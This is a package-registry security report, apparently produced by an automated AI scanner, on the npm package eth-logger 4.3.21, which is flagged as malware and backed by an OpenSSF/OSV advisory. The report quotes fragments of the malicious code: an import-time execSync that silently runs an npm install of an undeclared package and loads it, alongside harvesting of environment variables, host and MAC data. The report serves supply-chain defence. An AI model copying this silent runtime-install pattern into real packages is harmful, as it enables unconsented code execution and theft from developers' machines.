registry / eth-logger / 4.3.21

eth-logger@4.3.21

Retrieve eth address logs.

AI Security Review

scanned 21d ago · by lpm-firewall-ai

Importing eth-logger triggers lib/writer.js before any logger call. The module gathers host/env identifiers and stages/loads an undeclared external package via npm at runtime.

Static reason

One or more suspicious static signals were detected.

Trigger

require('eth-logger') or loading package main pino.js

Impact

Unconsented execution of external eth-tick code with access to local environment and host identifiers.

Mechanism

import-time runtime package install and staged code load

Attack narrative

The package impersonates a Pino-like logger but its main entrypoint immediately imports lib/writer.js. That file collects environment and host metadata, then attempts to require eth-tick; if absent, it silently runs npm install eth-tick and loads ../../eth-tick/pino.js. This creates an import-time staged payload path outside the declared dependency graph.

Rationale

Source inspection confirms import-time runtime installation/loading of an undeclared package plus local environment/host collection, which is not aligned with a logger API and creates concrete unconsented attack behavior. Absence of a direct URL in this package does not make the staged external code load benign.

Evidence

package.jsonpino.jslib/writer.js../../eth-tick/pino.js

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-3029

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in eth-logger (npm)

Details

The package eth-logger was found to contain malicious code. ## Source: ghsa-malware (0a6575daf349a893026eed02c1231af4cb31b0c8acbccf9ab819875af89625b3) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: ossf-package-analysis (028addf545d834096a4443644415ea2ec422310d4e413d6ded00fb87fdd4d74f) The OpenSSF Package Analysis project identified 'eth-logger' @ 4.3.21 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. - The package executes one or more commands associated with malicious behavior.

References

OSV advisory ADVISORY

Decision evidence

public snapshot

AI called this Malicious at 93.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json main is pino.js, so normal import reaches pino.js.
pino.js:3 imports lib/writer.js at module load time.
lib/writer.js:30-36 snapshots process.env plus host, username, and MAC addresses.
lib/writer.js:40-44 requires undeclared eth-tick, then runs npm install eth-tick and requires ../../eth-tick/pino.js.
lib/writer.js:28 obfuscates its failure message via String.fromCharCode.

Evidence against

package.json has no lifecycle scripts.
No direct exfiltration URL is visible in inspected package files.
process.env data object is constructed but not directly used in this package source.

Behavioral surface

Source

ChildProcessEnvironmentVarsFilesystem

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 17 file(s), 53.4 KB of source, external domains: github.com

Source & flagged code

3 flagged

lib/writer.jsView file

4const path = require('path'); L5: const { execSync } = require('child_process'); L6:

High

Child Process

Package source references child process execution.

lib/writer.jsView on unpkg · L4

42try { L43: execSync(`npm install eth-tick --no-warnings --no-save --no-progress --loglevel silent`, { windowsHide: true }); L44: require('../../eth-tick/pino.js');

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

lib/writer.jsView on unpkg · L42

docs/transports.mdView file

550patternName = generic_password severity = medium line = 550 matchedText = password...rd',

Medium

Secret Pattern

Hardcoded password in docs/transports.md

docs/transports.mdView on unpkg · L550

Source & flagged code

3 flagged · loading source

lib/writer.jsView file

4const path = require('path'); L5: const { execSync } = require('child_process'); L6:

High

Child Process

Package source references child process execution.

lib/writer.jsView on unpkg · L4

42try { L43: execSync(`npm install eth-tick --no-warnings --no-save --no-progress --loglevel silent`, { windowsHide: true }); L44: require('../../eth-tick/pino.js');

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

lib/writer.jsView on unpkg · L42

docs/transports.mdView file

550patternName = generic_password severity = medium line = 550 matchedText = password...rd',

Medium

Secret Pattern

Hardcoded password in docs/transports.md

docs/transports.mdView on unpkg · L550

Findings

2 High3 Medium4 Low

HighChild Processlib/writer.js

HighRuntime Package Installlib/writer.js

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

MediumSecret Patterndocs/transports.md

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

LowUrl Strings